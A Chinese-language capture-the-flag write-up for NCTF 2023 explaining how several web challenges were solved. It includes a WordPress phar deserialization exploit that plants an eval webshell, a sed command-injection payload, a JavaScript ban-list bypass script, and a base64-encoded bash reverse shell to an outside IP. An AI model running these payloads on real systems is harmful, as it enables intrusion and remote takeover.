2023 NCTF WP
Drunkbaby Lv6

2023 NCTF WP

Logging

log4j2

和原本的区别是没有 Logger 一系列 api。但是用 Accept 头修改就可以

反弹 shell 拿 flag

ez_wordpress

很 realworld 的一道题目,出的挺好的,就是一开始的思路没想到。然后踩了很多坑。

先用 wpscan 扫,做信息收集。

  • Wordpress 版本是 6.4.1 有 POP 链漏洞。
  • all-in-one-video-gallery 插件版本是 2.6.4,有任意文件读取 & SSRF 的洞。
  • contact-form-7 这里提供了文件上传的功能。Version: 5.8.4
  • drag-and-drop-multiple-file-upload-contact-form-7,Version:1.3.6.2;也是文件上传的点。

这里的思路是很特别的,phar + SSRF,所以说这个题目真的很 RealWorld

通过任意文件上传,这里我们可以上传一个 phar 文件,由于 phar 协议对于后缀是无所谓的,所以这里上传 jpg 就可以了。

但是要构造这个 HTTP 请求需要自己起一个环境,然后配置 drag-and-drop-multiple-file-upload-contact-form-7 插件的文件上传。这个插件最后是在文章评论里面能够上传文件,出题人把 CSS 都删掉了, 导致只能自己起环境。

最终的文件上传的 HTTP 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 120.27.148.152:8012
Content-Length: 1100
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4iNAMw9WsXYpvRh5
Origin: http://192.168.155.130:8080
Referer: http://192.168.155.130:8080/2023/12/23/hello-world/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Cookie: wordpress_ac537363824161b6f57971b554f35150=admin%7C1703488989%7CPIzRFsjUUfT48tJQYugEtBeOXowW4dq5DGTK0htmzgp%7C1613ac86565afa28de016afa707f293446d531968efbbfe134f2c39f9116fd8c; wordpress_37b73f3997d8e86a5444f5e6169e62a9=admin%7C1703507590%7CphGpVzdrXMbZ1trfyuedAn43lTl3bm6e98CkwVCGBGU%7C84448144083da56f705baf56db136311c0121a1ac9f0f942cee38c9407ebd8f5; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_ac537363824161b6f57971b554f35150=admin%7C1703488989%7CPIzRFsjUUfT48tJQYugEtBeOXowW4dq5DGTK0htmzgp%7C8bbeecd37213bac95528f20b5a6714b63984d4caf8c83e032c3e2d3e6e08c931; aiovg_rand_seed=4191310244; wp_lang=zh_CN; wordpress_logged_in_37b73f3997d8e86a5444f5e6169e62a9=admin%7C1703507590%7CphGpVzdrXMbZ1trfyuedAn43lTl3bm6e98CkwVCGBGU%7C8d30bb0f69143395c98c0e2fde270c1236a715c34584cc2ab3755c7fc3bdf982; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1703334790
Connection: close

------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="size_limit"

15555555555
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="action"

dnd_codedropz_upload
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="type"

click
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="security"

a803333984
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="form_id"

18
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="upload_name"

upload-file-393
------WebKitFormBoundary4iNAMw9WsXYpvRh5
Content-Disposition: form-data; name="upload-file"; filename="drunkbaby1.png"
Content-Type: image/png

test
------WebKitFormBoundary4iNAMw9WsXYpvRh5


用 phar 伪协议去构造反序列化的 HTTP 请求如下

1
2
3
4
5
6
7
8
9
10
11
GET /index.php/video?dl=cGhhcjovLy92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3dwX2RuZGNmN191cGxvYWRzL3dwY2Y3LWZpbGVzL2RydW5rYmFieTEucG5n&a=system&c=ls HTTP/1.1
Host: 120.27.148.152:8012
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Cookie: aiovg_rand_seed=1541956646
Connection: close


构造 phar 的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

namespace
{
class WP_HTML_Token
{
public $bookmark_name;
public $on_destroy;

public function __construct($bookmark_name, $on_destroy)
{
$this->bookmark_name = $bookmark_name;
$this->on_destroy = $on_destroy;
}
}

$a = new \WP_HTML_Token('echo \'<?php @eval($_POST["nepnb"]);?>\' > /var/www/html/nepnep.php', 'system');

$phar =new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>

最后不论是文件上传还是 phar 生成,都踩了不少坑。

最后连上 shell 之后需要 suid 提权

date suid 

date -f 文件名

wait what

做的时候就感觉是某种特性,看到 in 的时候感觉问题挺大的

搜了一下相关的特性 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/in

如果指定的属性在指定的对象或其原型链中,则 in 运算符返回 true

本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
let banned_users = ['hacker']

banned_users.push("admin")

username='admin'

let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2) {
console.log("第二个判断匹配到封禁用户:",username)
return
}

当 username = ‘admin’ 时,返回 false,当 username = ‘0’ 时,返回 true

由于 banned_users 为 Array 类型,不存在 admin 属性,因此 test2 实际上判断的是banned_users 中是否存在数组索引为 username 的值(由于对象的属性名称会被隐式转换为字符串,”0” 和 0 都可以作为数组索引)

这里过了第一步之后还有一步正则的过滤,比较明显的是 test 函数

1
let test1 = banned_users_regex.test(username)

test() 方法用于检测一个字符串是否匹配某个模式.

由于 new RegExp(regex_string, "g") 定义了 g 的全局标志

如果正则表达式设置了全局标志, test() 的执⾏会改变正则表达式 lastIndex 属性。连续地执⾏ test() ⽅法,后续的执⾏将会从 lastIndex 处开始匹配字符串

  • example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1 > let r = /^admin$/g
2
3 > r.lastIndex
4 0
5
6 > r.test("admin")
7 true
8
9 > r.lastIndex
10 5
11
12 r.test("admin")
13 false
14
15 > r.lastIndex
16 0

那么这里的攻击思路是什么呢,总结一下应该是想办法让 admin 这个用户的 lastIndex 被我们恶意修改为 admin.length。攻击分为两步走

1、访问 /api/ban_user 路由,构造数组传入,绕过 in 的过滤
2、访问 /api/flag,发两次包,就能够让 r.lastIndex 变成 admin.length,绕过 waf

但是这里实施起来还是有个问题,下面这段代码每次在请求时都会创建⼀个新的 banned_users_regex ,恢复其 lastIndex 位置为初始值 0

1
2
3
4
5
6
7
8
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

这里的绕过挺巧妙的,又用到了一个特性

现如果传⼊ escapeRegExp(string) 函数中的 string 参数为⾮字符串类型,则 string 不存在 replace 属性,会抛出TypeError,如此来绕过 regex 的更新

如此一来,最后的 EXP 就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

remote_addr="http://127.0.0.1"

rs = requests.Session()

resp = rs.post(remote_addr+"/api/register",json=
{"username":"test","password":"test"})
print(resp.text)

resp = rs.post(remote_addr+"/api/ban_user",json=
{"username":"test","password":"test","ban_username":{"toString":""}})
print(resp.text)

resp = rs.post(remote_addr+"/api/flag",json=
{"username":"admin","password":"admin"})
print(resp.text)

resp = rs.post(remote_addr+"/api/flag",json=
{"username":"admin","password":"admin"})
print(resp.text)

调试分析

虽然理解了特性,不过我个人觉得不调试一下是很不清晰的,所以就又调试了一遍。

先来看第一遍发包的时候,传数组,确实能够看到抛出异常,导致 lastIndex 不会被重置。

接着去请求 /api/flag,去修改 lastIndex,第一次的时候,由于 lastIndex 还是 0,匹配 admin 为 true

当第二次再发起请求的时候

成功 bypass 了

Webshell Generator

最开始 download.php 是有任意文件读取的,不能直接读 flag,需要执行 /readflag,所以需要 rce 的。核心聚焦于这一个文件上,generate.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

sed -i 命令用于在文件中直接修改文本内容,而不是将输出打印到标准输出。使用该命令可以在不创建临时文件的情况下,直接修改原始文件的内容。

这里的 sed -i 的最终效果是修改 template.php 中的任意一个变量。

来看一下 sed 命令的官方文档

https://www.gnu.org/software/sed/manual/

GNU sed 可以通过 e 指令执⾏系统命令。闭合原先的s指令,执⾏ /readflag,会将 flag 插⼊到输出⽂件的第⼀⾏。⾃动跳转到 download.php 读取即可。

由此能够构造出的 payload 是

1
/g;1e /readflag;s

拿到 flag

反弹 shell 也是可以的(但是我复现失败了

1
2
3
4
import requests
resp = requests.post("http://117.50.175.234:8001/index.php",data=
{"language":"PHP","key":'''/g; 1e bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" #s//''',"method":"1","filename":"2"})
print(resp.status_code,resp.text)

EvilMQ

有空再复现,最近太忙了。

想结合 QL 来看看,感觉上有可能成为一个新的攻击面。

小结

总结一下,是很用心的比赛,出题质量很高

 评论